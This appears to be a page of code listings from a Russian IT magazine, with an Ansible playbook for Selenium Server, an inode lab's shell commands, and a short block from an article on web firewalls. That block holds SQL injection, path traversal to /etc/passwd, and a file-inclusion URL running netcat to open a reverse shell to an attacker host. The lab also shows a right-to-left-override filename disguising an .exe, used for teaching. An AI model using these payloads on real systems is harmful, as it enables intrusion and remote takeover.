Работа с MS SharePoint 2016. Часть 1. Знакомство со стандартной конфигурацией Сергей Болдин
Документы СИСТ
----------------------------------------------------------------------------------------- HOWTO: playbook Ansible для Selenium Server Сергей Яремчук $ nano group_vars/selenium/vars.yml chromedriver: 2.31 geckodriver: v0.18.0 selenium: ports: - '4444' - '4445' version: 3.5.3 selenium.yml - hosts: selenium become: True become_method: sudo roles: - java - selenium roles/java/tasks/main.yml - name: add repo for java 8 apt_repository: repo: 'ppa:webupd8team/java' - name: configure java 8 installation debconf: name: oracle-java8-installer question: shared/accepted-oracle-license-v1-1 value: 'true' vtype: select - name: install java 8 apt: name: '{{item}}' update_cache: True cache_valid_time: 3600 with_items: - oracle-java8-installer - oracle-java8-set-default $ nano roles/selenium/tasks/main.yml - name: Add Google signing key apt_key: url: 'https://dl-ssl.google.com/linux/linux_signing_key.pub' state: present - name: Add Chrome repo apt_repository: repo: 'deb http://dl.google.com/linux/chrome/deb/ stable main' filename: 'google-chrome' - name: Install browser apt: pkg: "{{ item }}" state: present update_cache: yes cache_valid_time: 3600 with_items: - xvfb - firefox - google-chrome-stable - name: Create selenium directory file: path: /opt/selenium state: directory - name: Download Selenium get_url: url: "http://selenium-release.storage.googleapis.com/{{ selenium.version | regex_replace('\\.[0-9]+$', '') }}/selenium-server-standalone-{{ selenium.version }}.jar" dest: "/opt/selenium/selenium-server-standalone.jar" - name: Download and untar geckodriver tarball unarchive: src: "https://github.com/mozilla/geckodriver/releases/download/{{ geckodriver }}/geckodriver-{{ geckodriver }}-linux64.tar.gz" dest: "/usr/bin" copy: no creates: "/usr/bin/geckodriver" - name: download and unzip chromedriver tarball unarchive: src: "http://chromedriver.storage.googleapis.com/{{ chromedriver }}/chromedriver_linux64.zip" dest: "/usr/bin" copy: no creates: "/usr/bin/chromedriver" - name: Create selenium systemd files template: src: selenium.service.j2 dest: "/etc/systemd/system/selenium-{{ item }}.service" with_items: '{{ selenium.ports }}' - name: Enable selenium. service systemd: name: "selenium-{{ item }}.service" enabled: true daemon_reload: yes state: restarted with_items: '{{ selenium.ports }}' xvfb-run -a -s "-screen 0 1920x1080x24" /usr/bin/java -jar /opt/selenium/selenium-server-standalone.jar -port 4444 [Unit] Description=Selenuim After=syslog.target [Service] User=root Environment=DBUS_SESSION_BUS_ADDRESS=/dev/null ExecStart=/usr/bin/xvfb-run -a -s "-screen 0 1920x1080x24" /usr/bin/java -jar /opt/selenium/selenium-server-standalone.jar -port {{ item }} -log /var/log/selenium-{{ item }}.log SuccessExitStatus=0 Restart=always RestartSec=30 [Install] WantedBy=multi-user.target ----------------------------------------------------------------------------------------- Российские межсетевые экраны для веб Андрей Бирюков Поиск 'or 1=1-- /mutillidae/index.php?page=../../../../etc/passwd /mutillidae/index.php?page=../../../../../tmp/shell.php&cmd=/bin/nc+[attacker-ip]:+8080+-e+/bin/bash /mutillidae/index.php?page=phpinfo.php ----------------------------------------------------------------------------------------- Лабораторная работа: исследуем inode. Часть 1. Взаимодействие с inode через стандартные программы на пользовательском уровне (подготовка и проведение) Павел Закляков # adduser user # passwd user # yum -y install tree man man-pages-ru gpm-libs # yum -y install lde # rpm -ihv lde-2.6.1-4.el6.x86_64.rpm guest ALL=(ALL) NOPASSWD: /bin/mount -o loop disk100ext2 /mnt/ext2 guest ALL=(ALL) NOPASSWD: /bin/mount -o loop disk100ext4 /mnt/ext4 guest ALL=(ALL) NOPASSWD: /bin/umount /mnt/ext2 guest ALL=(ALL) NOPASSWD: /bin/umount /mnt/ext4 guest ALL=(ALL) NOPASSWD: /bin/mount -o loop,user_xattr,acl disk100ext2 /mnt/ext2 guest ALL=(ALL) NOPASSWD: /bin/mount -o loop,user_xattr,acl disk100ext4 /mnt/ext4 guest ALL=(ALL) NOPASSWD: /usr/sbin/setcap cap_sys_admin+ep /mnt/ext2/file1 guest ALL=(ALL) NOPASSWD: /usr/sbin/setcap cap_sys_admin+ep /mnt/ext4/file1 # mkdir /mnt/ext2 # mkdir /mnt/ext4 $ mkdir dir1 $ cd dir1 $ touch file1 $ mkdir dir2 $ ln file1 hard_link_to_file1 $ ln file1 dir2/hard_link_to_file1 $ find ~/dir1 -inum 123456 -print $ find ~/dir1 -inum 123456 -exec ls -l {} + $ mkdir aa$'\xe2\x81\x84'bb $ touch pic$'\xe2\x80\xae'gpj.exe $ touch "aa?b" $ touch `printf "aa\bb"` $ touch $(printf "aa\bb") $ ls -l $ rm aa?b $ ls -l $ ls -1 -q|grep aa $ ls -1|od -A n -t ax1 $ ls -1|grep aa|od -A n -t ax1 $ touch pic$'\xe2\x80\xae'gpj.exe $ ls -1 $ rm picgpj.exe $ rm pic $ rm picgpj.exe $ touch pic$'\xe2\x80\xae'gpj.exe $ ls -1 $ rm | touch file0 echo -n "1">>fileX echo -n "2">>fileY echo -n "1234567890">>fileZ $ i=1; while [ $i -le 60 ] ;do echo -n "1" >>file60; let i=i+1; done $ dd if=/dev/zero of=file60 bs=1 count=60 $ touch 1 $ touch 12 $ touch 1234567890…1234567890123456-59 $ touch 1234567890…12345678901234567-60 $ touch 1234567890…123456789012345678-61 $ touch ы $ touch ыы $ touch абвгдеёжзийклмнопрстуфхцчшщьы $ touch абвгдеёжзийклмнопрстуфхцчшщьыъ $ touch абвгдеёжзийклмнопрстуфхцчшщьыъэ $ ln -s 1 link-1 $ ln -s 12 link-12 $ ln -s 123…123456-59 link-123...6-59 $ ln -s 123…1234567-60 link-123...67-60 $ ln -s 123…12345678-61 link-123...678-61 $ ln -s ы link-ы $ ln -s ыы link-ыы $ ln -s абв…щьы link-абв…щьы $ ln -s абв…щьыъ link-абв…щьыъ $ ln -s абв…щьыъэ link-абв…щьыъэ -----------------------------------------------------------------------------------------